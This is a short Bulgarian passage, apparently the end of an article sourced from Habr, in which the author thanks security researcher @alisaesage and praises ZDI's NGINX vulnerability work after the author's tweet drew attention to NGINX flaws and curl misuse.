АбонирайтС сС Π·Π° @alisaesage Π² Twitter ΠΈ слСдСтС страхотната Ρ€Π°Π±ΠΎΡ‚Π° Π½Π° ZDI Π·Π° справянС с ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π΅Π°Π»Π½ΠΈ уязвимости ΠΈ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° Π²ΡŠΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΠΈ Π² NGINX. Вяхната Ρ€Π°Π±ΠΎΡ‚Π° Π²ΠΈΠ½Π°Π³ΠΈ ΠΌΠ΅ Π΅ ΠΎΡ‡Π°Ρ€ΠΎΠ²Π°Π»Π° ΠΈ съм Π±Π»Π°Π³ΠΎΠ΄Π°Ρ€Π΅Π½ Π½Π° Алис Π·Π° Π½Π΅ΠΉΠ½ΠΎΡ‚ΠΎ Ρ‚ΡŠΡ€ΠΏΠ΅Π½ΠΈΠ΅ с всички спомСнавания ΠΈ извСстия, ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½ΠΈ ΠΎΡ‚ моя Π³Π»ΡƒΠΏΠ°Π² Ρ‚ΡƒΠΈΡ‚. Π—Π° щастиС, Ρ‚ΠΎΠ²Π° ΡΡŠΡ‰ΠΎ Π½Π°ΠΏΡ€Π°Π²ΠΈ някои Π΄ΠΎΠ±Ρ€ΠΈ Π½Π΅Ρ‰Π°: ΠΏΠΎΠΌΠΎΠ³Π½Π° Π΄Π° сС повиши освСдомСността Π·Π° уязвимоститС Π½Π° NGINX, ΠΊΠ°ΠΊΡ‚ΠΎ ΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΈΡ‚Π΅, ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅Π½ΠΈ ΠΎΡ‚ Π·Π»ΠΎΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π° с curl.

Π˜Π·Ρ‚ΠΎΡ‡Π½ΠΈΠΊ: www.habr.com

ДобавянС Π½Π° Π½ΠΎΠ² ΠΊΠΎΠΌΠ΅Π½Ρ‚Π°Ρ€